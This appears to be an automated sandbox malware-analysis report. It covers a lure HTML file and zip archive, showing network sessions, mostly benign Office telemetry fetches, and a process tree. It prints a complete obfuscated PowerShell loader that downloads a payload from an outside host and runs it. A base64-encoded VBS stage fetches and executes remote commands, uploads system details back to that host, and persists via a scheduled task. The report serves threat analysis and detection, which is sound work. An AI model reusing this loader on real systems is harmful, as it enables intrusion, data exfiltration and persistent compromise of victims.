2024-10-26 11:49:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:22 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 218b1b25-701e-005c-4b21-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114922Z-17c5cb586f64v7xs992vpxwchg0000000200000000004xw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:22 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49872	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:22 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:22 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:22 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: cd4a5759-201e-005d-4b3a-26afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114922Z-17c5cb586f6r59nt869u8w8xt800000000v00000000097u0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:22 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49873	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:22 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:22 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:22 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114922Z-16849878b786jv8w2kpaf5zkqs00000000tg00000000cad8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:49:22 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49874	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:22 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:22 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:22 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114922Z-16849878b78g2m84h2v9sta29000000000w0000000008541 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:22 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49875	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:22 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:23 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:23 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 98c82924-f01e-0020-04fc-26956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114923Z-r197bdfb6b46krmwag4tzr9x7c00000001rg0000000057qr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:23 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49876	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:22 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:23 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:23 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: b5ff136b-401e-005b-7aea-269c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114923Z-r197bdfb6b4qbfppwgs4nqza8000000000n0000000003vde x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:23 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49877	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:23 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:23 UTC	591	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:23 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: ca4b2a6a-001e-000b-1aff-2615a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114923Z-r197bdfb6b4grkz4xgvkar0zcs00000001f000000000a0ra x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-26 11:49:23 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49878	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:23 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:23 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:23 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 9f682ba9-701e-006f-730e-26afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114923Z-17c5cb586f64v7xs992vpxwchg00000001y00000000080sw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:23 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Target ID:	0
Start time:	07:48:47
Start date:	26/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\g3Wg5cdIcT.html"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	07:48:50
Start date:	26/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=1980,i,9620083289215155752,12996393152971919094,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	07:48:53
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\unarchiver.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\748-929-24.zip"
Imagebase:	0x6c0000
File size:	12'800 bytes
MD5 hash:	16FF3CC6CC330A08EED70CBC1D35F5D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:48:53
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\jq2oycxc.wmp" "C:\Users\user\Downloads\748-929-24.zip"
Imagebase:	0x830000
File size:	289'792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:48:53
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:48:53
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C "C:\Users\user\AppData\Local\Temp\jq2oycxc.wmp\748-929-24.html.lnk"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:48:53
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:48:54
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;
Imagebase:	0x250000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000008.00000002.2213637628.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000008.00000002.2213637628.0000000004987000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:48:55
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -nop -noni -exec bypass -c =new-object system.net.webclient
Imagebase:	0x250000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:49:02
Start date:	26/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\appdata\local\temp\748-929-24.html
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:49:03
Start date:	26/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2000,i,12076860377407532846,4455740521908346531,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:49:03
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
